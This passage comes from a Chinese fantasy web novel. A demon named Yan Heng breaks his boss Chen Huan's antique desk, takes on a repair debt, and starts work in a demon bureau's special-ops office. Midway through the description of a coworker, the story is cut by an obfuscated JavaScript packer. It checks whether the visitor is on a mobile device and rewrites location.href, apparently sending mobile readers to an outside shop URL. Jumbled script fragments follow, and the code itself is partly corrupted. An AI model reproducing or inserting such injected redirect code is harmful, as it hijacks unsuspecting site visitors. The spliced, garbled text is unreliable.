才进书房他就知道自己高兴早了。
谁来告诉他,他的宝贝书桌怎么变成两半了?
“晏、衡!!!”
晏衡心道要糟,撒丫子到门口准备跑路,却被先他一步的辰寰连拖带拽弄回书房。
眼见辰寰青筋直暴就要发飙,晏衡识时务者为俊杰,啪地双手合十,眨巴着眼睛仰视辰寰:“真不是故意的。”
辰寰敲敲桌子咧嘴,笑得诡异可怖:“我这桌子,小叶紫檀的。”
“最起码有五百年历史。”
晏衡撒娇卖蠢在晏安那里向来无往不利,听他这语气竟是要接着追究。
一时有些茫然,问出来的话几乎傻得冒泡:“我拿502给你粘回去?”
“502?”辰寰真的要气过去了,他少说卖五千万的古董桌子,晏衡说用502粘?
“你先给我说说这玩意怎么裂的。”辰寰深呼吸一口,强迫自己冷静下来。
“就拿头……轻轻磕了一下。”晏衡自知理亏,嘴皮子差点拌蒜。眼神飘忽,脸蛋子也有越来越红的趋势。
辰寰本欲发作,看见他卷睫轻颤,眼底含怯的模样,火气莫名消了大半。
心中不合时宜地想到一句——晕红乍著秋海棠。
最终还是没说什么重话,只叫晏衡接着上课。
“维修费记你账上。”
晏衡也不敢再问维修费多少,只知道自己又要多打好多年白工。
于是恨铁地拍拍脸,后悔当时要是不磕那两下就好了。
妖管局的人类适应课程并不复杂,晏衡卜昼卜夜学了两天,差点没撕了书。
终于还是在周一被辰寰拎到教育部,通过了所谓“现代规则暨人类适应考试”。
成为了一名光荣的现代妖。
当然,这也意味着睚眦打工还债的生活正式开始。
周一下午,小学生郊游似的晏衡,搬着辰寰给置办的电脑平板,第一次踏进特勤组的大门。
他本以为特勤组是什么高级部门,今日一见,发现是名副其实的武夫开会。
白裂是只驳,按
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16852410|190253||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
现代的界门纲目来算,属于大型猫科妖物,工位边上的窗帘被挠成流苏。
清早才到办公室,就撩起衣裳蒙头睡大觉。
门口坐着的刑天拿手绢仔细地擦拭假头,见晏衡进来,晃晃手里的脑袋,跟他打了个招呼。
“睚眦老弟,来上班啊?”
晏衡跟他打过招呼问:“我的办公桌在哪里?”
“陆曼边上那个,你可能得收拾收拾。”
妖管局各部门都用玻璃隔开,在外便能一览无余看尽工作状况,很符合辰大资本家的审美。
晏衡办公桌又靠窗,抬眼就能看到对面的总裁办。
很是糟心。
低头再看桌上的外套零食口红,更是没地方下脚。
晏衡把家伙事儿放在地上,捞过一旁的快递箱,认命地替陆曼收拾起破烂。
此时白裂伸了个懒腰,把脑袋从衣裳里扒拉出来,终于是睡醒。